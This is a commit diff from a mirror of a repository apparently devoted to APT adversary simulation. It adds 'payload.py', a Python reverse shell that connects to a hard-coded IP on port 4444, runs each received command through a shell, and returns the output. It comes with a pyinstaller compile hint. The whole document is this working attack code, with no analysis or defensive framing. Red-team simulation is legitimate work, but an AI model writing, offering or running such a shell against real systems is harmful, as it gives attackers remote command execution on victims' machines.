mirror of
https://github.com/S3N4T0R-0X0/APTs-Adversary-Simulation.git
synced 2026-08-04 09:41:40 +02:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,30 @@
|
||||
# compile: pyinstaller --onefile testing payload.py
|
||||
|
||||
import socket
|
||||
import subprocess
|
||||
|
||||
ip = "192.168.1.1"
|
||||
port = 4444
|
||||
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((ip, port))
|
||||
|
||||
|
||||
while True:
|
||||
|
||||
command = s.recv(1024).decode()
|
||||
|
||||
|
||||
if command.lower() == "exit":
|
||||
break
|
||||
|
||||
|
||||
try:
|
||||
output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
|
||||
s.sendall(output)
|
||||
except Exception as e:
|
||||
s.sendall(str(e).encode())
|
||||
|
||||
|
||||
s.close()
|
||||
Reference in New Issue
Block a user